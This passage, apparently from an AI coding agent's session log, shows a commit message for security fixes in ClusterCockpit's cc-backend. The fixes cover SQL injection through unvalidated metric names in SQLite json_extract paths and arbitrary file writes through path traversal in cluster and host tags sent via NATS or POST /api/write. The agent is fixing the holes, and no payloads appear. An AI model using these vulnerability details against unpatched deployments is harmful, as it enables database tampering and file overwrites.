json_extract(footprint, \"$.<name>\") SQL. SQLite parses\n  double-quoted strings as literals, enabling SQL injection by any\n  authenticated user. Validate metric names against ^[a-zA-Z0-9_]+$ in\n  jobsMetricStatisticsHistogram and buildFloatJSONCondition.\n\n- metricstore: cluster/host line-protocol tags flowed unvalidated into\n  path.Join(RootDir, cluster, host) for checkpoint/WAL files, allowing\n  arbitrary file write outside the checkpoint root via NATS\n  (unauthenticated) or POST /api/write. Reject path-traversal sequences\n  in DecodeLine before the tags become path components.\n\nCo-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>\nEOF\n)\"","description":"Commit security fixes"},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":300,"cache_read_input_tokens":95239,"output_tokens":682,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":300,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":682,"cache_read_input_tokens":95239,"cache_creation_input_tokens":300,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":300},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiaxGrWUHpWjRxy64L7x","type":"assistant","uuid":"77adf7cc-4ef2-4ca3-9a52-5d3d44485b54","timestamp":"2026-06-04T17:07:20.753Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}